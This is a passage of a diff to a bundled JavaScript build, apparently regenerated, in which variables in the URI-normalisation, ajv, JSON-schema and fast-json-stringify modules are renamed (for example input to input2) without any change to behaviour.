isIPvFuture(input2)) { + input2 = input2.toLowerCase(); + return { host: `[${input2}]`, escapedHost: input2, isIPV6: false, isIPVFuture: true }; } - if (findToken(input, ":") < 2) { + if (findToken(input2, ":") < 2) { return { host, isIPV6: false, error: bracketed }; } let zoneIdentifier = ""; - const zoneSeparator = input.indexOf("%"); + const zoneSeparator = input2.indexOf("%"); if (zoneSeparator !== -1) { - const separatorLength = input.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; - zoneIdentifier = input.slice(zoneSeparator + separatorLength); + const separatorLength = input2.slice(zoneSeparator, zoneSeparator + 3).toLowerCase() === "%25" ? 3 : 1; + zoneIdentifier = input2.slice(zoneSeparator + separatorLength); if (!isZoneIdentifier(zoneIdentifier)) return { host, isIPV6: false, error: true }; - input = input.slice(0, zoneSeparator); + input2 = input2.slice(0, zoneSeparator); } - const address = normalizeIPv6Address(input); + const address = normalizeIPv6Address(input2); if (address === void 0) return { host, isIPV6: false, error: true }; return { host: address + (zoneIdentifier ? "%" + zoneIdentifier : ""), @@ -33950,79 +33950,79 @@ var require_utils2 = __commonJS({ return ind; } function removeDotSegments(path) { - let input = path; - const output = []; + let input2 = path; + const output2 = []; let nextSlash = -1; let len = 0; - while (len = input.length) { + while (len = input2.length) { if (len === 1) { - if (input === ".") { + if (input2 === ".") { break; - } else if (input === "/") { - output.push("/"); + } else if (input2 === "/") { + output2.push("/"); break; } else { - output.push(input); + output2.push(input2); break; } } else if (len === 2) { - if (input[0] === ".") { - if (input[1] === ".") { + if (input2[0] === ".") { + if (input2[1] === ".") { break; - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - output.push("/"); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + output2.push("/"); break; } } } else if (len === 3) { - if (input === "/..") { - if (output.length !== 0) { - output.pop(); + if (input2 === "/..") { + if (output2.length !== 0) { + output2.pop(); } - output.push("/"); + output2.push("/"); break; } } - if (input[0] === ".") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(3); + if (input2[0] === ".") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(3); continue; } - } else if (input[1] === "/") { - input = input.slice(2); + } else if (input2[1] === "/") { + input2 = input2.slice(2); continue; } - } else if (input[0] === "/") { - if (input[1] === ".") { - if (input[2] === "/") { - input = input.slice(2); + } else if (input2[0] === "/") { + if (input2[1] === ".") { + if (input2[2] === "/") { + input2 = input2.slice(2); continue; - } else if (input[2] === ".") { - if (input[3] === "/") { - input = input.slice(3); - if (output.length !== 0) { - output.pop(); + } else if (input2[2] === ".") { + if (input2[3] === "/") { + input2 = input2.slice(3); + if (output2.length !== 0) { + output2.pop(); } continue; } } } } - if ((nextSlash = input.indexOf("/", 1)) === -1) { - output.push(input); + if ((nextSlash = input2.indexOf("/", 1)) === -1) { + output2.push(input2); break; } else { - output.push(input.slice(0, nextSlash)); - input = input.slice(nextSlash); + output2.push(input2.slice(0, nextSlash)); + input2 = input2.slice(nextSlash); } } - return output.join(""); + return output2.join(""); } var HOST_DELIMS = { "@": "%40", "/": "%2F", "?": "%3F", "#": "%23", ":": "%3A" }; var HOST_DELIM_RE = /[@/?#:]/g; @@ -34032,29 +34032,29 @@ var require_utils2 = __commonJS({ re2.lastIndex = 0; return host.replace(re2, (ch) => HOST_DELIMS[ch]); } - function normalizePercentEncoding(input, decodeUnreserved = false) { - if (input.indexOf("%") === -1) { - return input; + function normalizePercentEncoding(input2, decodeUnreserved = false) { + if (input2.indexOf("%") === -1) { + return input2; } - let output = ""; - for (let i = 0; i < input.length; i++) { - if (input[i] === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + if (input2[i] === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decodeUnreserved && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } - output += input[i]; + output2 += input2[i]; } - return output; + return output2; } var BYTE_HEX = new Array(256); { @@ -34075,56 +34075,56 @@ var require_utils2 = __commonJS({ } return BYTE_HEX[240 | cp >> 18] + BYTE_HEX[128 | cp >> 12 & 63] + BYTE_HEX[128 | cp >> 6 & 63] + BYTE_HEX[128 | cp & 63]; } - function normalizePathEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizePathEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (decoded !== "." && isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isPathCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function serializePathEncoding(input, pathNoScheme = false) { - let output = ""; - let firstSegment = pathNoScheme && input[0] !== "/"; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function serializePathEncoding(input2, pathNoScheme = false) { + let output2 = ""; + let firstSegment = pathNoScheme && input2[0] !== "/"; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } @@ -34133,143 +34133,143 @@ var require_utils2 = __commonJS({ firstSegment = false; } if (isPathCharacter(ch) && (ch !== ":" || !firstSegment)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function normalizeQueryFragmentEncoding(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function normalizeQueryFragmentEncoding(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { const normalizedHex = hex3.toUpperCase(); const decoded = String.fromCharCode(parseInt(normalizedHex, 16)); if (isUnreserved(decoded)) { - output += decoded; + output2 += decoded; } else { - output += "%" + normalizedHex; + output2 += "%" + normalizedHex; } i += 2; continue; } } if (isQueryFragmentCharacter(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeComponent(input, isAllowed) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function encodeComponent(input2, isAllowed) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } if (isAllowed(ch)) { - output += ch; + output2 += ch; } else { - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += BYTE_HEX[code]; + output2 += BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } } - return output; + return output2; } - function encodeUserinfo(input) { - return encodeComponent(input, isUserinfoCharacter); + function encodeUserinfo(input2) { + return encodeComponent(input2, isUserinfoCharacter); } - function encodeQuery(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeQuery(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function encodeFragment(input) { - return encodeComponent(input, isQueryFragmentCharacter); + function encodeFragment(input2) { + return encodeComponent(input2, isQueryFragmentCharacter); } - function escapePreservingEscapes(input) { - let output = ""; - for (let i = 0; i < input.length; i++) { - const ch = input[i]; - if (ch === "%" && i + 2 < input.length) { - const hex3 = input.slice(i + 1, i + 3); + function escapePreservingEscapes(input2) { + let output2 = ""; + for (let i = 0; i < input2.length; i++) { + const ch = input2[i]; + if (ch === "%" && i + 2 < input2.length) { + const hex3 = input2.slice(i + 1, i + 3); if (isHexPair(hex3)) { - output += "%" + hex3.toUpperCase(); + output2 += "%" + hex3.toUpperCase(); i += 2; continue; } } - const code = input.charCodeAt(i); + const code = input2.charCodeAt(i); if (code < 128) { - output += isEscapeSafe(code) ? ch : BYTE_HEX[code]; + output2 += isEscapeSafe(code) ? ch : BYTE_HEX[code]; } else if (code < 55296 || code > 57343) { - output += percentEncodeNonAscii(code); - } else if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + output2 += percentEncodeNonAscii(code); + } else if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - output += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + output2 += percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } else { - output += percentEncodeNonAscii(65533); + output2 += percentEncodeNonAscii(65533); } } - return output; + return output2; } function recomposeZonedIPv6Host(component) { const zone = component.ipv6Zone; @@ -34279,8 +34279,8 @@ var require_utils2 = __commonJS({ if (separator === -1) return void 0; const address = host.slice(0, separator); const escaped = address + "%25" + zone; - const derived = normalizeIPv6("[" + escaped + "]"); - if (derived.isIPV6 === true && derived.host === host) { + const derived2 = normalizeIPv6("[" + escaped + "]"); + if (derived2.isIPV6 === true && derived2.host === host) { return "[" + escaped + "]"; } return void 0; @@ -34559,35 +34559,35 @@ var require_schemes2 = __commonJS({ return str; } } - function replaceLoneSurrogates(input) { + function replaceLoneSurrogates(input2) { let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); - if (code >= 55296 && code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); + if (code >= 55296 && code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += input[i] + input[i + 1]; + result += input2[i] + input2[i + 1]; i++; continue; } } - result += code >= 55296 && code <= 57343 ? "\uFFFD" : input[i]; + result += code >= 55296 && code <= 57343 ? "\uFFFD" : input2[i]; } return result; } - function encodeWithAllow(input, set2) { - if (set2.all.test(input)) { - return input; + function encodeWithAllow(input2, set2) { + if (set2.all.test(input2)) { + return input2; } const table2 = set2.table; let result = ""; - for (let i = 0; i < input.length; i++) { - const code = input.charCodeAt(i); + for (let i = 0; i < input2.length; i++) { + const code = input2.charCodeAt(i); if (code < 128) { if (table2[code] === 1) { - result += input[i]; - } else if (code === 37 && i + 2 < input.length && HEX_PAIR.test(input.slice(i + 1, i + 3))) { - result += "%" + input.slice(i + 1, i + 3).toUpperCase(); + result += input2[i]; + } else if (code === 37 && i + 2 < input2.length && HEX_PAIR.test(input2.slice(i + 1, i + 3))) { + result += "%" + input2.slice(i + 1, i + 3).toUpperCase(); i += 2; } else { result += BYTE_HEX[code]; @@ -34595,13 +34595,13 @@ var require_schemes2 = __commonJS({ continue; } if (code < 55296 || code > 57343) { - result += set2.allowNonAscii ? input[i] : percentEncodeNonAscii(code); + result += set2.allowNonAscii ? input2[i] : percentEncodeNonAscii(code); continue; } - if (code <= 56319 && i + 1 < input.length) { - const low = input.charCodeAt(i + 1); + if (code <= 56319 && i + 1 < input2.length) { + const low = input2.charCodeAt(i + 1); if (low >= 56320 && low <= 57343) { - result += set2.allowNonAscii ? input[i] + input[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); + result += set2.allowNonAscii ? input2[i] + input2[i + 1] : percentEncodeNonAscii(65536 + (code - 55296 << 10) + (low - 56320)); i++; continue; } @@ -35250,8 +35250,8 @@ var require_formats = __commonJS({ "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.formatNames = exports.fastFormats = exports.fullFormats = void 0; - function fmtDef(validate, compare) { - return { validate, compare }; + function fmtDef(validate2, compare) { + return { validate: validate2, compare }; } exports.fullFormats = { // date: http://tools.ietf.org/html/rfc3339#section-5.6 @@ -35462,7 +35462,7 @@ var require_limit = __commonJS({ formatExclusiveMaximum: { okStr: "<", ok: ops.LT, fail: ops.GTE }, formatExclusiveMinimum: { okStr: ">", ok: ops.GT, fail: ops.LTE } }; - var error51 = { + var error62 = { message: ({ keyword, schemaCode }) => (0, codegen_1.str)`should be ${KWDs[keyword].okStr} ${schemaCode}`, params: ({ keyword, schemaCode }) => (0, codegen_1._)`{comparison: ${KWDs[keyword].okStr}, limit: ${schemaCode}}` }; @@ -35471,7 +35471,7 @@ var require_limit = __commonJS({ type: "string", schemaType: "string", $data: true, - error: error51, + error: error62, code(cxt) { const { gen, data, schemaCode, keyword, it } = cxt; const { opts, self: self2 } = it; @@ -35692,14 +35692,14 @@ var require_standalone = __commonJS({ const v = vRef; return validateCode(usedValues, v.source); } else if ((n.prefix === "root" || n.prefix === "wrapper") && typeof vRef == "object") { - const { validate, validateName } = vRef; + const { validate: validate2, validateName } = vRef; if (!validateName) throw new Error("ajv internal error"); const def = ajv.opts.code.es5 ? scope_1.varKinds.var : scope_1.varKinds.const; const wrapper = (0, code_1._)`${def} ${n} = {validate: ${validateName}};`; if (usedState(validateName) === scope_1.UsedValueState.Started) return wrapper; - const vCode = validateCode(usedValues, validate === null || validate === void 0 ? void 0 : validate.source); + const vCode = validateCode(usedValues, validate2 === null || validate2 === void 0 ? void 0 : validate2.source); return (0, code_1._)`${wrapper}${_n}${vCode}`; } return void 0; @@ -36096,21 +36096,21 @@ var require_json_schema_ref_resolver = __commonJS({ } this.#schemas[schemaId] = { schema, anchors: {}, refs: [] }; } - #insertSchemaByAnchor(schema, schemaId, anchor) { + #insertSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#schemas[schemaId]; - if (anchors[anchor] !== void 0) { - throw new Error(`There is already another anchor "${anchor}" in schema "${schemaId}".`); + if (anchors[anchor2] !== void 0) { + throw new Error(`There is already another anchor "${anchor2}" in schema "${schemaId}".`); } - anchors[anchor] = schema; + anchors[anchor2] = schema; } #insertDerefSchemaBySchemaId(schema, schemaId) { const foundSchema = this.#derefSchemas[schemaId]; if (foundSchema !== void 0) return; this.#derefSchemas[schemaId] = { schema, anchors: {} }; } - #insertDerefSchemaByAnchor(schema, schemaId, anchor) { + #insertDerefSchemaByAnchor(schema, schemaId, anchor2) { const { anchors } = this.#derefSchemas[schemaId]; - anchors[anchor] = schema; + anchors[anchor2] = schema; } }; function getDataByJSONPointer(data, jsonPointer) { @@ -37517,9 +37517,9 @@ var require_merge_json_schemas = __commonJS({ if (mergedSchema2 !== void 0) { mergedOneOf.push(mergedSchema2); } - } catch (error51) { - if (error51 instanceof errors.MergeError) continue; - throw error51; + } catch (error62) { + if (error62 instanceof errors.MergeError) continue; + throw error62; } } mergedSchema[keyword] = mergedOneOf; @@ -37799,7 +37799,7 @@ var require_fast_json_stringify = __commonJS({ var Serializer = require_serializer(); var Validator = require_validator(); var Location = require_location(); - var validate = require_schema_validator(); + var validate2 = require_schema_validator(); var mergeSchemas = require_merge_schemas(); var largeArraySize = 2e4; var largeArrayMechanism = "default"; @@ -37829,13 +37829,13 @@ const asInteger = serializer.asInteger.bind(serializer) ]); var schemaIdCounter = 0; function isValidSchema(schema, name) { - if (!validate(schema)) { + if (!validate2(schema)) { if (name) { name = `"${name}" `; } else { name = ""; } - const first = validate.errors[0]; + const first = validate2.errors[0]; const err = new Error(`${name}schema is invalid: data${first.instancePath} ${first.message}`); err.errors = isValidSchema.errors; throw err; @@ -38238,11 +38238,11 @@ ${contextFunctionCode}`, : ${variableName} `; } - function buildObject(context2, location, input) { + function buildObject(context2, location, input2) { const schema = location.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38264,12 +38264,12 @@ ${contextFunctionCode}`, } `; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const objVar = `obj_${context2.uid++}`; const code = ` - const ${objVar} = ${toJSON(input)} + const ${objVar} = ${toJSON(input2)} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_OBJECT"} } else { @@ -38279,7 +38279,7 @@ ${contextFunctionCode}`, context2.buildingSet.delete(schema); return code; } - function buildArray(context2, location, input) { + function buildArray(context2, location, input2) { const schema = location.schema; let itemsLocation = location.getPropertyLocation("items"); itemsLocation.schema = itemsLocation.schema || {}; @@ -38289,7 +38289,7 @@ ${contextFunctionCode}`, const itemsSchema = itemsLocation.schema; if (context2.functionsNamesBySchema.has(schema)) { const funcName = context2.functionsNamesBySchema.get(schema); - return `json += ${funcName}(${input})`; + return `json += ${funcName}(${input2})`; } const nullable2 = schema.nullable === true; const schemaId = location.schemaId || ""; @@ -38375,13 +38375,13 @@ ${contextFunctionCode}`, return json + JSON_STR_END_ARRAY }`; context2.functions.push(functionCode); - return `json += ${functionName}(${input})`; + return `json += ${functionName}(${input2})`; } context2.buildingSet.add(schema); const safeSchemaRef = getSafeSchemaRef(context2, location); const objVar = `obj_${context2.uid++}`; let inlinedCode = ` - const ${objVar} = ${input} + const ${objVar} = ${input2} if (${objVar} === null) { json += ${nullable2 ? "JSON_STR_NULL" : "JSON_STR_EMPTY_ARRAY"} } else if (!Array.isArray(${objVar})) { @@ -38503,18 +38503,18 @@ ${contextFunctionCode}`, function generateFuncName(context2) { return "anonymous" + context2.functionsCounter++; } - function buildMultiTypeSerializer(context2, location, input) { + function buildMultiTypeSerializer(context2, location, input2) { const schema = location.schema; const types2 = schema.type.sort((t1) => t1 === "null" ? -1 : 1); let code = ""; types2.forEach((type, index2) => { location.schema = { ...location.schema, type }; - const nestedResult = buildSingleTypeSerializer(context2, location, input); + const nestedResult = buildSingleTypeSerializer(context2, location, input2); const statement = index2 === 0 ? "if" : "else if"; switch (type) { case "null": code += ` - ${statement} (${input} === null) { + ${statement} (${input2} === null) { ${nestedResult} } `; @@ -38522,14 +38522,14 @@ ${contextFunctionCode}`, case "string": { code += ` ${statement}( - typeof ${input} === "string" || - ${input} === null || - ${input} instanceof Date || - ${input} instanceof RegExp || + typeof ${input2} === "string" || + ${input2} === null || + ${input2} instanceof Date || + ${input2} instanceof RegExp || ( - typeof ${input} === "object" && - typeof ${input}.toString === "function" && - ${input}.toString !== Object.prototype.toString + typeof ${input2} === "object" && + typeof ${input2}.toString === "function" && + ${input2}.toString !== Object.prototype.toString ) ) { ${nestedResult} @@ -38539,7 +38539,7 @@ ${contextFunctionCode}`, } case "array": { code += ` - ${statement}(Array.isArray(${input})) { + ${statement}(Array.isArray(${input2})) { ${nestedResult} } `; @@ -38547,7 +38547,7 @@ ${contextFunctionCode}`, } case "integer": { code += ` - ${statement}(Number.isInteger(${input}) || ${input} === null) { + ${statement}(Number.isInteger(${input2}) || ${input2} === null) { ${nestedResult} } `; @@ -38555,7 +38555,7 @@ ${contextFunctionCode}`, } default: { code += ` - ${statement}(typeof ${input} === "${type}" || ${input} === null) { + ${statement}(typeof ${input2} === "${type}" || ${input2} === null) { ${nestedResult} } `; @@ -38568,52 +38568,52 @@ ${contextFunctionCode}`, `; return code; } - function buildSingleTypeSerializer(context2, location, input) { + function buildSingleTypeSerializer(context2, location, input2) { const schema = location.schema; switch (schema.type) { case "null": return "json += JSON_STR_NULL"; case "string": { if (schema.format === "date-time") { - return `json += asDateTime(${input})`; + return `json += asDateTime(${input2})`; } else if (schema.format === "date") { - return `json += asDate(${input})`; + return `json += asDate(${input2})`; } else if (schema.format === "time") { - return `json += asTime(${input})`; + return `json += asTime(${input2})`; } else if (schema.format === "unsafe") { - return `json += asUnsafeString(${input})`; + return `json += asUnsafeString(${input2})`; } else { return ` - if (typeof ${input} !== 'string') { - if (${input} === null) { + if (typeof ${input2} !== 'string') { + if (${input2} === null) { json += JSON_STR_EMPTY_STRING - } else if (${input} instanceof Date) { - json += JSON_STR_QUOTE + ${input}.toISOString() + JSON_STR_QUOTE - } else if (${input} instanceof RegExp) { - json += asString(${input}.source) + } else if (${input2} instanceof Date) { + json += JSON_STR_QUOTE + ${input2}.toISOString() + JSON_STR_QUOTE + } else if (${input2} instanceof RegExp) { + json += asString(${input2}.source) } else { - json += asString(${input}.toString()) + json += asString(${input2}.toString()) } } else { - json += asString(${input}) + json += asString(${input2}) } `; } } case "integer": - return `json += asInteger(${input})`; + return `json += asInteger(${input2})`; case "number": - return `json += asNumber(${input})`; + return `json += asNumber(${input2})`; case "boolean": - return `json += asBoolean(${input})`; + return `json += asBoolean(${input2})`; case "object": { - return buildObject(context2, location, input); + return buildObject(context2, location, input2); } case "array": { - return buildArray(context2, location, input); + return buildArray(context2, location, input2); } case void 0: - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; default: throw new Error(`${schema.type} unsupported`); } @@ -38695,14 +38695,14 @@ ${contextFunctionCode}`, } traverse(location); } - function buildConstSerializer(location, input) { + function buildConstSerializer(location, input2) { const schema = location.schema; const type = schema.type; const hasNullType = Array.isArray(type) && type.includes("null"); let code = ""; if (hasNullType) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; @@ -38715,12 +38715,12 @@ ${contextFunctionCode}`, } return code; } - function buildAllOf(context2, location, input) { + function buildAllOf(context2, location, input2) { const schema = location.schema; let mergedSchemaId = context2.mergedSchemasIds.get(schema); if (mergedSchemaId) { const mergedLocation2 = getMergedLocation(context2, mergedSchemaId); - return buildValue(context2, mergedLocation2, input); + return buildValue(context2, mergedLocation2, input2); } mergedSchemaId = `__fjs_merged_${schemaIdCounter++}`; context2.mergedSchemasIds.set(schema, mergedSchemaId); @@ -38737,9 +38737,9 @@ ${contextFunctionCode}`, locations.push(allOfsLocation.getPropertyLocation(i)); } const mergedLocation = mergeLocations(context2, mergedSchemaId, locations); - return buildValue(context2, mergedLocation, input); + return buildValue(context2, mergedLocation, input2); } - function buildOneOf(context2, location, input) { + function buildOneOf(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const schema = location.schema; const type = schema.anyOf ? "anyOf" : "oneOf"; @@ -38766,10 +38766,10 @@ ${contextFunctionCode}`, optionLocation ]); } - const nestedResult = buildValue(context2, mergedLocation, input); + const nestedResult = buildValue(context2, mergedLocation, input2); const schemaRef = optionLocation.getSchemaRef(); code += ` - ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input})) { + ${index2 === 0 ? "if" : "else if"}(validator.validate("${schemaRef}", ${input2})) { ${nestedResult} } `; @@ -38779,7 +38779,7 @@ ${contextFunctionCode}`, `; return code; } - function buildIfThenElse(context2, location, input) { + function buildIfThenElse(context2, location, input2) { context2.validatorSchemasIds.add(location.schemaId); const { if: ifSchema, @@ -38809,10 +38809,10 @@ ${contextFunctionCode}`, } if (!elseSchema) { return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, rootLocation, input)} + ${buildValue(context2, rootLocation, input2)} } `; } @@ -38830,30 +38830,30 @@ ${contextFunctionCode}`, ]); } return ` - if (validator.validate("${ifSchemaRef}", ${input})) { - ${buildValue(context2, thenMergedLocation, input)} + if (validator.validate("${ifSchemaRef}", ${input2})) { + ${buildValue(context2, thenMergedLocation, input2)} } else { - ${buildValue(context2, elseMergedLocation, input)} + ${buildValue(context2, elseMergedLocation, input2)} } `; } - function buildValue(context2, location, input) { + function buildValue(context2, location, input2) { let schema = location.schema; if (typeof schema === "boolean") { - return `json += JSON.stringify(${input})`; + return `json += JSON.stringify(${input2})`; } if (schema.$ref) { location = resolveRef2(context2, location); schema = location.schema; } if (schema.allOf) { - return buildAllOf(context2, location, input); + return buildAllOf(context2, location, input2); } if (schema.anyOf || schema.oneOf) { - return buildOneOf(context2, location, input); + return buildOneOf(context2, location, input2); } if (schema.if && schema.then) { - return buildIfThenElse(context2, location, input); + return buildIfThenElse(context2, location, input2); } if (schema.type === void 0) { const inferredType = inferTypeByKeyword(schema); @@ -38866,17 +38866,17 @@ ${contextFunctionCode}`, const nullable2 = schema.nullable === true; if (nullable2) { code += ` - if (${input} === null) { + if (${input2} === null) { json += JSON_STR_NULL } else { `; } if (schema.const !== void 0) { - code += buildConstSerializer(location, input); + code += buildConstSerializer(location, input2); } else if (Array.isArray(type)) { - code += buildMultiTypeSerializer(context2, location, input); + code += buildMultiTypeSerializer(context2, location, input2); } else { - code += buildSingleTypeSerializer(context2, location, input); + code += buildSingleTypeSerializer(context2, location, input2); } if (nullable2) { code += ` @@ -41705,12 +41705,12 @@ var require_parse3 = __commonJS({ var Empty = function() { }; Empty.prototype = /* @__PURE__ */ Object.create(null); - function parse4(input) { + function parse4(input2) { const result = new Empty(); - if (typeof input !== "string") { + if (typeof input2 !== "string") { return result; } - let inputLength = input.length; + let inputLength = input2.length; let key = ""; let value = ""; let startingIndex = -1; @@ -41722,13 +41722,13 @@ var require_parse3 = __commonJS({ let hasBothKeyValuePair = false; let c = 0; for (let i = 0; i < inputLength + 1; i++) { - c = i !== inputLength ? input.charCodeAt(i) : 38; + c = i !== inputLength ? input2.charCodeAt(i) : 38; if (c === 38) { hasBothKeyValuePair = equalityIndex > startingIndex; if (!hasBothKeyValuePair) { equalityIndex = i; } - key = input.slice(startingIndex + 1, equalityIndex); + key = input2.slice(startingIndex + 1, equalityIndex); if (hasBothKeyValuePair || key.length > 0) { if (keyHasPlus) { key = key.replace(plusRegex, " "); @@ -41737,7 +41737,7 @@ var require_parse3 = __commonJS({ key = fastDecode(key) || key; } if (hasBothKeyValuePair) { - value = input.slice(equalityIndex + 1, i); + value = input2.slice(equalityIndex + 1, i); if (valueHasPlus) { value = value.replace(plusRegex, " "); } @@ -41997,18 +41997,18 @@ var require_stringify = __commonJS({ } return ""; } - function stringify2(input) { + function 